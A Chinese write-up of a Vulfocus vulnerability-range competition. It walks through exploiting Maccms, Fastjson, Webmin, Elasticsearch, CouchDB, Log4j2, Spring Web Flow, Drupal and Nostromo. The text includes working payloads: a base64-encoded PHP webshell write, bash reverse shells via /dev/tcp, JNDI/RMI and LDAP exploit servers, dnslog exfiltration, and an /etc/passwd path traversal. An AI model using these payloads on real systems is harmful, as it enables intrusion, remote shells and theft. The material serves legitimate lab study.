Vulfocus 靶场竞赛 WriteUp

匿名者  1077天前

作者:夏天@UTF-8

声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。

题目号:030

描述

Maccms是一套跨平台的基于PHP和MySQL快速建站系统。 Maccms 8.x版本中存在安全漏洞。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。

CVE编号:CVE-2017-17733

复现

image-20220105000503634.png

POC

http://106.75.119.109:56376/?m=vod-search
POST:wd={if-A:phpinfo()}{endif-A}

image-20220105000748181.png

写入一句话木马,post传入

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

image-20220105000849784.png

木马路径http://106.75.119.109:56376/c.php 密码:c

image-20220105000958556.png

题目号:036

描述

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象 fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。

cnvd漏洞编号:CNVD-2017-02833

复现

反弹shell

Exploit.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
  public Exploit() throws Exception {
      Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xxxxxxxx/1122 0>&1"});
      InputStream is = p.getInputStream();
      BufferedReader reader = new BufferedReader(new InputStreamReader(is));
      String line;
      while((line = reader.readLine()) != null) {
          System.out.println(line);
      }
      p.waitFor();
      is.close();
      reader.close();
      p.destroy();
  }
  public static void main(String[] args) throws Exception {
  }
}

javac生成Exploit.class

python3 -m http.server --bind 0.0.0.0 1234  开启WEB服务,要在Exploit.class目录下
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxxxx:1234/#Exploit" 9999    开启rmi服务加载恶意payload
POST / HTTP/1.1
Host: 106.75.119.109:8319
Content-Length: 263
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Origin: http://106.75.119.109:8319
Content-Type: text/plain
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://106.75.119.109:8319/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1640767163; SESS28c7e2280da264064ffa80d84cd80dc4=v_4H6stRpW6vZpQdCiRlclhWAYyTO8sTVJIZcp6UEBQ; redirect=1; JSESSIONID=52353575D2190FB692CBB1125D978C4B
Connection: close

{
  "a":{
      "@type":"java.lang.Class",
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"rmi://xxxxxxxxxx:9999/Exploit",
      "autoCommit":true
  }
}

image-20220104234700364.pngimage-20220104234554980.pngimage-20220104234531312.pngimage-20220104234508537.png

题目号:045

描述

Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.962版本及之前版本存在安全漏洞,该漏洞允许执行任意命令。任何被授权使用Package Updates模块的用户都可以使用根权限通过包含和的向量执行任意命令。 账户密码:root:password

CVE编号:CVE-2020-35606

复现

image-20220104222613987.png

https访问

https://106.75.119.109:37875/password_change.cgi

user=rootxx&pam=&expired=2&old=ls /tmp&new1=test2&new2=test2

image-20220104230544110.png

题目号:052

描述

Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。 Jupyter Notebook可直接使用命令行执行任意命令。

CVE编号:CVE-2019-9644

复现

image-20220105002249907.pngimage-20220105002303219.pngimage-20220105002315401.png

题目号:058

描述

Elasticsearch是一个高度可扩展的开源全文搜索和分析引擎。它允许您快速,近实时地存储,搜索和分析大量数据。它通常用作底层引擎/技术,为具有复杂搜索功能和要求的应用程序提供支持。

ElasticSearch其有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。但其用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。

而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。

CVE编号:CVE-2015-1427

复现

POST /_search?pretty HTTP/1.1
Host: 106.75.119.109:33026
Pragma: no-cache
Cache-Control: no-cache
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
X-Requested-With: xm lHttpRequest
Referer: http://106.75.119.109:33026/_search?pretty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1640767163; SESS28c7e2280da264064ffa80d84cd80dc4=v_4H6stRpW6vZpQdCiRlclhWAYyTO8sTVJIZcp6UEBQ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 361

{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {
        }
      }
    }
  },
  "script_fields": {
      "command": {
          "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
  }
}

题目号:059

描述

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。 CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

复现

image-20211230143723280.png

看到主页一脸懵逼,这什么东西

不懂就上nmap扫指纹

nmap -p 20785 -sV -sC -v 106.75.119.109

image-20211230143842368.png

版本1.6.0

真正的主页http://106.75.119.109:20785/_utils/

image-20211230144003882.png

POC

curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/_config/query_servers/cmd' -d '"ping -t 4 `ls /tmp`.wu5vm3.dnslog.cn"'

curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456

curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7a"}'

curl -X POST 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

坑点,在执行第二遍的第二条命令时会报错(无法创建数据库,文件已存在。),需要把vultest123456改一下,三和四也要改成一样的。

image-20211231112514585.png

题目号:062

描述

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

CVE编号:CVE-2021-44228

复现

工具地址

https://github.com/Mr-xn/JNDIExploit-1
root@iZ2zegj6z62g2us7qvukxsZ:~/test# java -jar JNDIExploit-1.2-SNAPSHOT.jar -i xxxxxxxxxx -l 7000 -p 5000
[+] LDAP Server Start Listening on 7000...
[+] HTTP Server Start Listening on 5000...
payload=${jndi:ldap://xxx.xxx.xxx.xxx:7000/TomcatBypass/TomcatEcho}

image-20220104211706418.png

题目号:071

描述

Spring Web Flow建立在Spring MVC之上,并允许实现Web应用程序的“流” 由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞

CVE编号:CVE-2017-4971

复现

点击Login进入登录模块

image-20220104231811462.png

多个默认账号与密码,随意挑选一个进行登录

image-20220104231827686.png

漏洞触发点

http://your-ip/hotels/1

点击Book Hotel

image-20220104232109240.png

填写好点击proceed

image-20220104232309103.png

在点击Confirm的时候抓下包

image-20220104232340388.png

payload

_eventId_confirm=&_csrf=404e5fd4-b3e6-42f2-ac0c-23c16de3b1de&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/8089+0>%261")).start()=vulhub

成功反弹shell

image-20220104232720742.png

题目号:076

描述

Drupal core是Drupal社区所维护的一套用PHP语言开发的免费、开源的内容管理系统。 Drupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的内置phar stream wrapper(PHP)存在远程代码执行漏洞。远程攻击者可利用该漏洞执行任意的php代码。

cve编号:cve-2019-6339

复现

先登录:用户名密码:admin/123456(比赛中用的密码基本都是这种弱密码)

image-20211230093423872.png

POC下载地址

https://github.com/thezdi/PoC/tree/master/Drupal

进入链接上传POC

http://xxx.xxx.xxx.xxx/user/1/edit

image-20211230093651672.png

复制图片链接http://xxx.xxx.xxx.xxx:36857/sites/default/files/pictures/2021-12/blog-ZDI-CAN-7232-cat.jpg

Drupal的默认文件保存地址是/site/default/files/pictures/xxx-xxx/图片名字

然后设置一个临时目录

http://xxx.xxx.xxx.xxx:55965/admin/config/media/file-system

改成phar://./sites/default/files/pictures/2021-12/blog-ZDI-CAN-7232-cat.jpg放入Temporary directory

点击Save configuration保存日志触发漏洞

image-20211230094127340.png

修改poc,让其执行的命令为:ls /tmp

使用工具:winhex

前面的s:7一定修改,ls /tmp的字节为7

image-20211230094336692.png

保存图片,上传,触发

image-20211230094605794.png

题目号:077

描述

Nostromo nhttpd是一款开源的Web服务器。 Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。

CVE编号:cve-2019-16278

复现

http://106.75.119.109:24149/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/etc/passwd

image-20220104210553647.png

http://106.75.119.109:24149/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/tmp/

image-20220104210535090.png

结尾

一些做题技巧,当打开题目无从下手时,可以利用指纹扫描工具比如Goby、Xray、vulmap、nmap,指纹信息搭配Goby可快速利用漏洞(渗透测试本质就是信息收集),也可根据指纹信息去靶场环境搜索找到CVE编号然后百度找复现文章(坑点多),或者去github找大佬写好的工具一把梭,在复现学习过程中不建议复现完漏洞就完事,做好笔记,学习漏洞点,学习攻击手法。

仅代表个人的评价比赛与总结:感觉像是把CTF(夺旗比赛)与实战(各种实战中可能遇到的漏洞)融合。漏洞日益渐增,复现/分析/了解漏洞一直是比较困难的,要么自己找源码去尝试,要么借助网络空间安全搜索引擎(fofa)在未授权的环境进行测试复现,vulfocus的出现不仅保护了网络上的安全,也保护了不懂法的小白,希望vulfocus与办越好。下次我一定要找俩队友冲进前五。

最新评论

昵称
邮箱
提交评论